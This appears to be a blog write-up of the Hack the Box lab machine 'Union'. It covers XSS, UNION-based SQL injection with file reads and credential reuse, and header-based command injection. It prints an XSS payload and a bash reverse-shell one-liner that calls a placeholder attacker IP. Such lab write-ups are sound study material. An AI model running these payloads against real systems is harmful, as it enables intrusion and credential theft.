Hello everyone, today we will be doing Recommended Box from Hack the Box, and for today’s week it’s Union:
1)As usual, kicking off with Nmap scan to see what ports are open:
Only port 80, let’s check it out
2)It’s a small web app with not so many functionalities:
Quick check what happens if we check for any kind of player for November Qualifiers:
-Our input gets reflected. Let’s check it out for Possible XSS Vulnerability:
The payload that I used for XSS, is the classing one with img HTML element:
/><img src=1 onerror=print(1)>
XSS is successful, I will keep this in mind for later in case we need to steal somebody else’s cookies for horizontal / vertical privilege escalation.
Here is the snippet of code that is vulnerable to XSS, DOM is being actively updated with user input without any input validation or sanitization, making this DOM-XSS possible:
3)While I was enumerating this POST Request (when we check if player is eligible for qualifiers) I also ran the directory busting scan using dirb, since this is a PHP app I like feature of dirb where you can easily specify the file extension you would like to brute-force for. I found a couple of interesting directories such as firewall.php and config.php. I will keep this here for later as I don’t have much at the moment from these pages:
4)Taking a closer look what happens when we check for a player, there is a POST Request with player parameter in POST Request Body: Now here the name of the machine is bit hint as UNION is also the type of an attack for SQL Injection. This is also a Linux box, which means that most of the team we are facing MySQL so we can first try with payloads for MySQL and if needed move along to the other Database Type such as Postgres, etc.
-Checking the UNION based payload with only 1 NULL(dummy) value, returned a different Response than before, which indicates that we are on the right track:
For SQL Injection Payloads I usually use: https://portswigger.net/web-security/sql-injection/cheat-sheet
If we try 2 NULL(dummy) values, we will get a usual response, meaning that here we are dealing with 1 column!
Let’s check if our SQL Injection indeed works by obtaining Database Version in Response:
Cool! Let’s check for all tables in current Database:
Let’s check for all Columns:
But when I want to get the data from that Column from Table we found earlier, I can’t :0 , it seems we don’t have enough permission to do so:
5)In such cases we need to enumerate other Databases, to see if we can find some other databases which we have access to:
Okay so we found one unusual November, here I used group_concat command which will let me concatinate multiple results of my query and return it in the response, otherwise since we have only 1 column, I would get only 1 database result back:
Okay cool! Now let’s repeat the initial process, let’s fect all tables and then columns from the November database:
Now let’s get columns from those tables: (I also used GROUP_CONCAT here in order not to miss anything)
2 columns, not bad. We can now get the data from those by using simple SQL Select Statement:
Cool, here we got the flag, that 2 need for step 2 once when we submit the player for qualifications, let’s use it:
Nice, now we have access to firewall.php. It says that now we have SSH access, let’s check again if Port 22 has been opened for us now, as it wasn’t before:
And sure it is, but we don’t have any username or password..?
I checked other tables and databases with SQL Injection that we have at the moment, but I didn’t find any creds, hmmm. Then I Visited Hacktricks for some ideas on what we can do with SQL Injection: https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql
6)Here I learned very cool trick and that is that we can load the local files with SQL injection and get the content in the Response:
And there is /etc/passwd, nice we have sufficient permissions in order to do so. Now since SSH is open we can try looking for SSH keys in the home directory of users, but I wanted to check first PHP Functions that we already know about from the dirb scan:
I checked for firewall first as it looks promising, by the end of SC I see some commands being run as sudo, definitely interesting as I could’ve get the root shell from here unintended, but let’s go the intended way:
Checking the config files it’s always a must, and this type was no exception, we found database credentials! Let’s check if there is password re-use in play here, meaning that this password is also used for SSH for uhc user as we know that this user exists on the system (/etc/passwd):
Bingo! We got user.txt this way as uhc user
7)Okay, so right away I remembered firewall.php function which has some OS command running with sudo privileges:
So what is happening here: We have an IP variable which value is the value of X-FORWARDED-FOR HTTP Header. Then that IP variable is being used in command that is being run as sudo with iptables in order to update iptables accordingly. This is very dangerous approach as HTTP Headers are user-controllable and we control the values that are being passed in those, meaning that vulnerability in here is Command Injection that we can trigger via X-FORWARDED-FOR Header in request to /firwall.php:
Let’s exploit it!
I like to start with curl as it’s convenient way of checking for command injection / RCE:
Here I appended at the bottom X-FORWARDED-FOR Header, then the value of it gets assigned to an IP Variable which is later used within OS Command ran with SUDO rights:
-Before sending this request I started simple python server:
python3 -m http.server
Nice, we confirmed Command Injection, for reverse shell I will be using following payload:
bash -c "bash -i >& /dev/tcp/<MY_IP>/<PORT> 0>&1"
Got the shell as www-data:
Quick check for sudo -L as www-data user reveals that we can run ANY command as sudo user. Amazing, as I can simply switch to root user and grab a flag this way:
GG!
SQL Injection Vulnerable Code – Additional Section
In case you are interested in why SQL Injection is possible, here is the vulnerable code snippet, where user-controlled data is directly being used in SQL Query with concatenation, rather than using prepared statements that will treat user-input as string rather than SQL commands:
1)index.php vulnerable code:
You can see here in $sql how user input is directly being used in SQL command, making it vulnerable. Also, we can see if additional code which is used to prevent exploitation with SQLMAP, so this has to be done manually.
2)Usage of prepared statements which prevents SQL Injection from challange.php
Here we see: defining SQL Query, creating SQL prepared statement, taking user input, and finally safely executing SQL Query where user input can’t be used to trigger SQL Injection
Lessons Learned
1)First lesson that I learned is very handy payload from Hacktricks about using SQL load_file functionality if we have enough permission to read the local files, which helped us here to read the source code and get initial foothold
2) The second lesson is even we are inside the box, still it’s important to enumerate web app source code files as they can be the key for privilege escalation!
Leave a Reply